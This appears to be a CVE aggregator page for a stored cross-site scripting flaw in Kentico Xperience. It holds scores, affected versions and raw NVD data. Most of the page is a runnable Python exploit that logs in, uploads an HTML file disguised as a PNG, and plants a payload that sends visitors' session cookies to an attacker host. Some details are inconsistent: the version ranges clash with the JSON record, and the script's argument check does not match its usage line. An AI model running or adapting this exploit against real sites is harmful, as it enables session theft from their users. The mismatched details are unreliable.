CVE-2020-36891

Description

A stored cross-site scripting vulnerability in Kentico Xperience allows attackers to upload files with spoofed Content-Type that do not match file extensions. Attackers can exploit this vulnerability by uploading malicious files with manipulated MIME types, allowing malicious scripts to execute in users' browsers.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:* - VULNERABLE

Kentico Xperience < 13.0.200

Kentico Xperience 12.0.x < 12.0.180

Kentico CMS < 9.0.150

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2020-36891 PoC - Kentico Xperience Stored XSS via File Upload
# Target: Kentico Xperience instances with vulnerable file upload functionality

def exploit_stored_xss(target_url, username, password):
    """
    Exploit stored XSS by uploading a malicious file with spoofed Content-Type
    """
    login_url = f"{target_url}/CMSPages/logon.aspx"
    upload_url = f"{target_url}/CMSModules/MediaLibrary/CMSPages/FileUploader.ashx"
    
    # Create malicious HTML file with XSS payload
    xss_payload = '''<!DOCTYPE html>
<html>
<head><title>XSS</title></head>
<body>
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
</body>
</html>'''
    
    session = requests.Session()
    
    # Step 1: Authenticate with low-privilege account
    login_data = {
        'username': username,
        'password': password,
        'login': 'Login'
    }
    session.post(login_url, data=login_data)
    
    # Step 2: Upload malicious file with spoofed MIME type
    files = {
        'file': ('malicious.html', xss_payload.encode(), 'image/png')
    }
    
    headers = {
        'Content-Type': 'image/png',
        'X-Requested-With': 'XMLHttpRequest'
    }
    
    response = session.post(upload_url, files=files, headers=headers)
    
    if response.status_code == 200:
        print('[+] Malicious file uploaded successfully!')
        print('[+] XSS payload will execute when file is viewed')
        print(f'[+] File URL: {response.json().get("file_url", "Check response")}')
    else:
        print('[-] Upload failed')
        return False
    
    return True

if __name__ == '__main__':
    if len(sys.argv) < 5:
        print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>')
        sys.exit(1)
    
    target = sys.argv[1]
    user = sys.argv[2]
    pwd = sys.argv[3]
    
    exploit_stored_xss(target, user, pwd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-36891
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-36891
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-36891/
[4] VulDB https://vuldb.com/cve/CVE-2020-36891
[5] https://devnet.kentico.com/download/hotfixes
[6] https://www.vulncheck.com/advisories/kentico-xperience-file-upload-stored-xss

Raw JSON Data

JSON

{"cve": {"id": "CVE-2020-36891", "sourceIdentifier": "[email protected]", "published": "2025-12-18T20:15:49.490", "lastModified": "2025-12-27T17:15:40.160", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting vulnerability in Kentico Xperience allows attackers to upload files with spoofed Content-Type that do not match file extensions. Attackers can exploit this vulnerability by uploading malicious files with manipulated MIME types, allowing malicious scripts to execute in users' browsers."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.0.49", "matchCriteriaId": "096B7542-DF0D-435D-9097-54C4672E43C4"}]}]}], "references": [{"url": "https://devnet.kentico.com/download/hotfixes", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/kentico-xperience-file-upload-stored-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}